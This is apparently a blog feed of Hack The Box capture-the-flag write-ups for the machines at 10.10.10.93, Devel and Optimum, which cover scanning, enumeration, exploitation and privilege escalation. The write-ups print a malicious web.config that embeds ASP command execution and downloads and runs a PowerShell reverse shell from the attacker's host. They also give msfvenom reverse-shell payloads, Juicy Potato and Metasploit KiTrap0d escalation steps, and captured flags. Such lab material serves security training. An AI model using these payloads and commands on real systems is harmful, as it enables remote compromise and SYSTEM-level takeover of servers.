&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518151707.png&quot; alt=&quot;Pasted image 20250518151707.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reference: &lt;a href=&quot;https://www.exploit-db.com/exploits/19033&quot;&gt;https://www.exploit-db.com/exploits/19033&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518151743.png&quot; alt=&quot;Pasted image 20250518151743.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518151928.png&quot; alt=&quot;Pasted image 20250518151928.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Title: Microsoft IIS 7.5 Classic ASP Authentication Bypass

Affected Software:
Microsoft IIS 7.5 with configured Classic ASP and .NET Framework 4.0
installed (.NET Framework 2.0 is unaffected, other .NET frameworks
have not been tested)
(tested on Windows 7)

Details:
By appending &quot;:$i30:$INDEX_ALLOCATION&quot; to the directory serving the
classic ASP file access restrictions can be successfully bypassed.

Take this Example:
1.) Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files)
2.) There is a password protected directory configured that has
administrative asp scripts inside
3.) An attacker requests the directory with :$i30:$INDEX_ALLOCATION
appended to the directory name
4.) IIS/7.5 gracefully executes the ASP script without asking for
proper credentials
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;According to the exploit documentation, I needed to append &lt;code&gt;:$i30:$INDEX_ALLOCATION&lt;/code&gt; to the URL, like this:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;http://10.10.10.93/uploadedfiles:$i30:$INDEX_ALLOCATION
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I tried to exploit this, but it failed because the prerequisite &quot;password protected directory with administrative asp scripts&quot; wasn&apos;t present in our target.&lt;/li&gt;
&lt;li&gt;After attempting several other exploits without success, I checked for HTTP version vulnerabilities like MS15-034 (CVE-2015-1635).&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;python CVE-2015-1635-POC.py -t 10.10.10.93
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518154217.png&quot; alt=&quot;Pasted image 20250518154217.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Surprise! This whole path turned out to be a rabbit hole! 🐰&lt;/li&gt;
&lt;li&gt;I had been following a writeup that went down this same unfruitful path, and I confidently followed along. 😗&lt;/li&gt;
&lt;li&gt;My Reaction is Like,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/shock-shocker.gif&quot; alt=&quot;shock-shocker.gif&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The actual vulnerability was much simpler - there&apos;s an ASPX page called &lt;code&gt;transfer.aspx&lt;/code&gt; that allows file uploads.&lt;/li&gt;
&lt;li&gt;Unfortunately, my directory discovery tools missed this file despite trying different wordlists and techniques. 😒&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518155952.png&quot; alt=&quot;Pasted image 20250518155952.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Solution Explanation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;After watching the legendary ippsec&apos;s video on this box (&lt;a href=&quot;https://www.youtube.com/watch?v=7ur4om1K98Y&quot;&gt;https://www.youtube.com/watch?v=7ur4om1K98Y&lt;/a&gt;), I tried running gobuster with a different wordlist:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This time, I successfully found &lt;code&gt;transfer.aspx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;When I tried to upload a text file, it returned &quot;invalid file&quot;:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518165401.png&quot; alt=&quot;Pasted image 20250518165401.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This meant I needed to discover which file extensions were permitted. While Burp Suite&apos;s Intruder could be used, it would be painfully slow for this task, so I opted for &lt;code&gt;ffuf&lt;/code&gt; instead.&lt;/li&gt;
&lt;li&gt;The command for extension bruteforcing:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ffuf -request fuzz.req -w /mnt/hgfs/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt -request-proto http
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here&apos;s the request file used (fuzz.req):&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /transfer.aspx HTTP/1.1
Host: 10.10.10.93
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------422437140139749595703497098572
Content-Length: 773
Origin: http://10.10.10.93
Connection: keep-alive
Referer: http://10.10.10.93/transfer.aspx
Upgrade-Insecure-Requests: 1

-----------------------------422437140139749595703497098572
Content-Disposition: form-data; name=&quot;__VIEWSTATE&quot;

/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkXqaYmgX5i81h7QT7amTjI+lGMRI=
-----------------------------422437140139749595703497098572
Content-Disposition: form-data; name=&quot;__EVENTVALIDATION&quot;

/wEWAgLNoKyFBwLt3oXMAxGQeqvPUDSNlGq1wHsrnYpxYT5S
-----------------------------422437140139749595703497098572
Content-Disposition: form-data; name=&quot;FileUpload1&quot;; filename=&quot;targetsFUZZ&quot;
Content-Type: text/plain

192.168.65.134
192.168.65.135

-----------------------------422437140139749595703497098572
Content-Disposition: form-data; name=&quot;btnUpload&quot;

Upload
-----------------------------422437140139749595703497098572--
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;By analyzing the response sizes, I was able to filter out these three interesting file extensions:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518171122.png&quot; alt=&quot;Pasted image 20250518171122.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.config &amp;lt;== (Most promising)
.jpeg
.doc
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Success! The file with .config extension was uploaded:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518171531.png&quot; alt=&quot;Pasted image 20250518171531.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;For this exploitation technique, I first tested with a simple ICMP callback using ping to verify command execution.&lt;/li&gt;
&lt;li&gt;Here&apos;s the malicious web.config file:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;configuration&amp;gt;
   &amp;lt;system.webServer&amp;gt;
      &amp;lt;handlers accessPolicy=&quot;Read, Script, Write&quot;&amp;gt;
         &amp;lt;add name=&quot;web_config&quot; path=&quot;*.config&quot; verb=&quot;*&quot; modules=&quot;IsapiModule&quot; scriptProcessor=&quot;%windir%\system32\inetsrv\asp.dll&quot; resourceType=&quot;Unspecified&quot; requireAccess=&quot;Write&quot; preCondition=&quot;bitness64&quot; /&amp;gt;         
      &amp;lt;/handlers&amp;gt;
      &amp;lt;security&amp;gt;
         &amp;lt;requestFiltering&amp;gt;
            &amp;lt;fileExtensions&amp;gt;
               &amp;lt;remove fileExtension=&quot;.config&quot; /&amp;gt;
            &amp;lt;/fileExtensions&amp;gt;
            &amp;lt;hiddenSegments&amp;gt;
               &amp;lt;remove segment=&quot;web.config&quot; /&amp;gt;
            &amp;lt;/hiddenSegments&amp;gt;
         &amp;lt;/requestFiltering&amp;gt;
      &amp;lt;/security&amp;gt;
   &amp;lt;/system.webServer&amp;gt;
&amp;lt;/configuration&amp;gt;
&amp;lt;!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
&amp;lt;%
Set rs = CreateObject(&quot;WScript.Shell&quot;)
Set cmd = rs.Exec(&quot;cmd /c ping 10.10.16.10&quot;)
o = cmd.StdOut.ReadAll()
Response.Write(o)
%&amp;gt;
--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;How this works:
&lt;ul&gt;
&lt;li&gt;The config file reconfigures the IIS server to process .config files using ASP&lt;/li&gt;
&lt;li&gt;The ASP code embedded in HTML comments executes system commands&lt;/li&gt;
&lt;li&gt;The server processes this file and runs our commands with the server&apos;s privileges&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250518174605.png&quot; alt=&quot;Pasted image 20250518174605.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250518174553.png&quot; alt=&quot;Pasted image 20250518174553.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250518174619.png&quot; alt=&quot;Pasted image 20250518174619.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For a proper reverse shell, I used &lt;a href=&quot;https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1&quot;&gt;Nishang&apos;s Invoke-PowerShellTcp.ps1&lt;/a&gt; with an added command at the end:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Modified web.config to download and execute the PowerShell script:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;configuration&amp;gt;
   &amp;lt;system.webServer&amp;gt;
      &amp;lt;handlers accessPolicy=&quot;Read, Script, Write&quot;&amp;gt;
         &amp;lt;add name=&quot;web_config&quot; path=&quot;*.config&quot; verb=&quot;*&quot; modules=&quot;IsapiModule&quot; scriptProcessor=&quot;%windir%\system32\inetsrv\asp.dll&quot; resourceType=&quot;Unspecified&quot; requireAccess=&quot;Write&quot; preCondition=&quot;bitness64&quot; /&amp;gt;         
      &amp;lt;/handlers&amp;gt;
      &amp;lt;security&amp;gt;
         &amp;lt;requestFiltering&amp;gt;
            &amp;lt;fileExtensions&amp;gt;
               &amp;lt;remove fileExtension=&quot;.config&quot; /&amp;gt;
            &amp;lt;/fileExtensions&amp;gt;
            &amp;lt;hiddenSegments&amp;gt;
               &amp;lt;remove segment=&quot;web.config&quot; /&amp;gt;
            &amp;lt;/hiddenSegments&amp;gt;
         &amp;lt;/requestFiltering&amp;gt;
      &amp;lt;/security&amp;gt;
   &amp;lt;/system.webServer&amp;gt;
&amp;lt;/configuration&amp;gt;
&amp;lt;!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
&amp;lt;%
Set rs = CreateObject(&quot;WScript.Shell&quot;)
Set cmd = rs.Exec(&quot;cmd /c powershell.exe -c iex(new-object net.webclient).downloadstring(&apos;http://10.10.16.10/Invoke-PowerShellTcp.ps1&apos;)&quot;)
o = cmd.StdOut.ReadAll()
Response.Write(o)
%&amp;gt;
--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After uploading the file and accessing it, I successfully received a shell connection!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250519173807.png&quot; alt=&quot;Pasted image 20250519173807.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250519173743.png&quot; alt=&quot;Pasted image 20250519173743.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250519174001.png&quot; alt=&quot;Pasted image 20250519174001.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User Flag:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;67eea4d3b99884133851d163f65ea35b
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Post Exploitation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;After checking permissions with &lt;code&gt;whoami /priv&lt;/code&gt;, I discovered that &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; was enabled. This is perfect for using the &lt;a href=&quot;https://github.com/ohpe/juicy-potato&quot;&gt;Juicy Potato&lt;/a&gt; privilege escalation technique.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250519212835.png&quot; alt=&quot;Pasted image 20250519212835.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What is SeImpersonatePrivilege?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; allows a process to impersonate the security context of another user.&lt;/li&gt;
&lt;li&gt;It&apos;s normally used by services to impersonate clients (e.g., when a web server impersonates a logged-in user).&lt;/li&gt;
&lt;li&gt;If you can &lt;strong&gt;coerce&lt;/strong&gt; a privileged token (e.g., SYSTEM) to authenticate to your service and you can &lt;strong&gt;impersonate it&lt;/strong&gt;, you can escalate to SYSTEM privileges.&lt;/li&gt;
&lt;li&gt;This privilege is a common path to privilege escalation on Windows servers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Gaining SYSTEM Shell with Juicy Potato&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;First, I uploaded the Juicy Potato executable as jp.exe:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250519213514.png&quot; alt=&quot;Pasted image 20250519213514.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Next, I generated a reverse shell payload using msfvenom:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.2 LPORT=1337 -f exe -o reverse.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Then uploaded this reverse shell executable:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250519213413.png&quot; alt=&quot;Pasted image 20250519213413.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Finally, I executed Juicy Potato with the following command to trigger my reverse shell as NT AUTHORITY\SYSTEM:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;jp.exe -l 1337 -t * -p reverse.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;How Juicy Potato works:
&lt;ul&gt;
&lt;li&gt;It abuses the SeImpersonatePrivilege to create a COM server and forces Windows to authenticate to it&lt;/li&gt;
&lt;li&gt;It then captures and impersonates that high-privilege token&lt;/li&gt;
&lt;li&gt;Finally, it launches our payload with those elevated privileges&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250519213829.png&quot; alt=&quot;Pasted image 20250519213829.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Success! I obtained the root flag:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250519213946.png&quot; alt=&quot;Pasted image 20250519213946.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a548f17dc9a5f08ddf23aed3c152d834
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Machine Deval May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-devel/htb_machine_devel/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-devel/htb_machine_devel/</guid><description>Writeup of HTB Deval Machine.</description><pubDate>Fri, 16 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ports Scan using rustscan&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516011901.png&quot; alt=&quot;Pasted image 20250516011901.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_______________________________________                                                      
 http://discord.skerritt.blog         :                                                      
 https://github.com/RustScan/RustScan :                                                      
--------------------------------------                                                       
Scanning ports faster than you can say &apos;SYN ACK&apos;                                                                    
~] The config file is expected to be at &quot;/home/kali/.rustscan.toml&quot;                          
~] File limit higher than batch size. Can increase speed by increasing batch size &apos;-b 924&apos;.  

open 10.10.10.5:21
open 10.10.10.5:80                                                                            
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -T5 -A -p21,80 -oA nmap/initials 10.10.10.5
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Fri May 16 01:17:17 2025 as: nmap -sC -sV -T5 -A -p21,80 -oA nmap/initials 10.10.10.5
Nmap scan report for 10.10.10.5 (10.10.10.5)
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       &amp;lt;DIR&amp;gt;          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 16 01:17:37 2025 -- 1 IP address (1 host up) scanned in 20.13 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Based on the scan results, only IIS Web Server and FTP services are running on the target, with no other open ports detected.&lt;/li&gt;
&lt;li&gt;The target is running Windows with Microsoft IIS 7.5 web server.&lt;/li&gt;
&lt;li&gt;FTP is running on port 21 with anonymous login enabled.&lt;/li&gt;
&lt;li&gt;HTTP is running on port 80 serving a default IIS 7.5 page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;FTP is accessible using simple credentials: &lt;code&gt;user:anonymous&lt;/code&gt; and &lt;code&gt;password:&amp;lt;blank&amp;gt;&lt;/code&gt; login.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516012204.png&quot; alt=&quot;Pasted image 20250516012204.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Downloaded all available files using the following commands to analyze their contents:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;wget -r -l 10 --ftp-user=&apos;anonymous&apos; --ftp-password=&apos;&apos; ftp://10.10.10.5/aspnet_client/*  

wget -r -l 10 --ftp-user=&apos;anonymous&apos; --ftp-password=&apos;&apos; ftp://10.10.10.5/iisstart.htm 

wget -r -l 10 --ftp-user=&apos;anonymous&apos; --ftp-password=&apos;&apos; ftp://10.10.10.5/welcome.png
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Initial analysis revealed no immediately useful information from these files.&lt;/li&gt;
&lt;li&gt;Performed directory brute forcing with multiple tools and wordlists:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Used multiple wordlists for thorough enumeration
https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/Web-Servers/IIS.txt

/usr/share/dirb/wordlists/common.txt

/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Directory brute forcing yielded no additional interesting directories or files.&lt;/li&gt;
&lt;li&gt;Critical discovery: FTP upload directory appears to be the same as the web root directory. This means files uploaded via FTP would be accessible through the web server.&lt;/li&gt;
&lt;li&gt;This configuration presents a significant vulnerability as we can upload an ASP.NET web shell through FTP and then execute it via the web server.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516014457.png&quot; alt=&quot;Pasted image 20250516014457.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516014529.png&quot; alt=&quot;Pasted image 20250516014529.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516014547.png&quot; alt=&quot;Pasted image 20250516014547.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Successfully confirmed access via basic web shell.&lt;/li&gt;
&lt;li&gt;For improved post-exploitation capabilities, generated a Meterpreter shell using:&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Metasploit Stuff&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.16.10 LPORT=1337 \
  -f aspx \
  -o msf_shell.aspx
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Transferred the payload to the victim machine via FTP.&lt;/li&gt;
&lt;li&gt;Set up a Metasploit handler to receive the incoming connection.&lt;/li&gt;
&lt;li&gt;Triggered the payload by accessing it through the web server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516015102.png&quot; alt=&quot;Pasted image 20250516015102.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516015617.png&quot; alt=&quot;Pasted image 20250516015617.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Post Exploitation&lt;/h1&gt;
&lt;h2&gt;Again Metasploit Stuff&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Used the exploit suggester module to identify potential privilege escalation vectors:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;use post/multi/recon/local_exploit_suggester
set SESSION 1
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516022302.png&quot; alt=&quot;Pasted image 20250516022302.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Selected the MS10-015 (KiTrap0d) privilege escalation exploit:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516022334.png&quot; alt=&quot;Pasted image 20250516022334.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set lhost 10.10.16.10
run
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MS10-015 (KiTrap0d) Vulnerability Background&lt;/strong&gt;: MS10-015/CVE-2010-0232 exploits a kernel vulnerability in Windows&apos; Virtual DOS Machine subsystem that improperly handles 16-bit system calls, allowing manipulation of kernel-mode memory. The flaw exists in win32k.sys where the kernel mishandles exceptions during system call processing, enabling attackers to execute arbitrary code with SYSTEM privileges by triggering a controlled exception that corrupts kernel stack pointers. This vulnerability affects multiple Windows versions including Windows 7, which explains its effectiveness on the Devel machine.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS10-015/CVE-2010-0232.txt&quot;&gt;More On This...............&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516022236.png&quot; alt=&quot;Pasted image 20250516022236.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Successfully escalated privileges to NT AUTHORITY\SYSTEM, giving complete control over the target system.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516022617.png&quot; alt=&quot;Pasted image 20250516022617.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Located and retrieved both user and root flags:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516022910.png&quot; alt=&quot;Pasted image 20250516022910.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User Flag:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;d356b7b47e9b90cfd11c33d16bcc30d8
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Root Flag:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;1db38188c79211dbcbf76001749afe01
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Machine Optimum May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-optimum/htb_machine_optimum/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-optimum/htb_machine_optimum/</guid><description>Writeup of HTB Optimum Machine.</description><pubDate>Fri, 16 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rustscan -a 10.10.10.8 -r 1-1000 -b 100 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516151149.png&quot; alt=&quot;Pasted image 20250516151149.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Fri May 16 15:10:08 2025 as: nmap -sC -sV -T5 -oA nmap/initials 10.10.10.8
Nmap scan report for 10.10.10.8 (10.10.10.8)
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 16 15:10:38 2025 -- 1 IP address (1 host up) scanned in 29.60 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The scan reveals only one open port: 80 (HTTP) running HttpFileServer (HFS) version 2.3.&lt;/li&gt;
&lt;li&gt;The target is confirmed to be a Windows machine.&lt;/li&gt;
&lt;li&gt;RustScan was used first for quick port discovery, followed by a detailed Nmap scan to identify services and versions.&lt;/li&gt;
&lt;li&gt;HFS (HTTP File Server) is a free web server specifically designed for file sharing, often used for quick setup without complex configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;After identifying the web application as HFS 2.3, I conducted research to find potential vulnerabilities.&lt;/li&gt;
&lt;li&gt;The application version information was clearly visible in the HTTP headers and page title.&lt;/li&gt;
&lt;li&gt;A search for exploits revealed multiple available options for this specific version.&lt;/li&gt;
&lt;li&gt;HFS 2.3 is known to have several critical vulnerabilities, including remote code execution issues through the search function and macro functionality.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Searching Exploits Online&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516152058.png&quot; alt=&quot;Pasted image 20250516152058.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Found a suitable exploit on GitHub: https://github.com/thepedroalves/HFS-2.3-RCE-Exploit&lt;/li&gt;
&lt;li&gt;This exploit leverages a remote code execution vulnerability in HFS 2.3.&lt;/li&gt;
&lt;li&gt;The vulnerability exists because HFS fails to properly sanitize user input in search queries, allowing for command injection.&lt;/li&gt;
&lt;li&gt;This particular version (2.3) was released in 2014 and has not received security updates to patch these vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516152040.png&quot; alt=&quot;Pasted image 20250516152040.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;Initial Foot Hold&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The exploit was executed successfully against the target.&lt;/li&gt;
&lt;li&gt;This provided an initial user-level shell on the system.&lt;/li&gt;
&lt;li&gt;The exploit works by sending a specially crafted HTTP request that contains a command injection payload.&lt;/li&gt;
&lt;li&gt;When the server processes this request, it executes our commands with the privileges of the user running the HFS service.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250516152238.png&quot; alt=&quot;Pasted image 20250516152238.png&quot; /&gt;
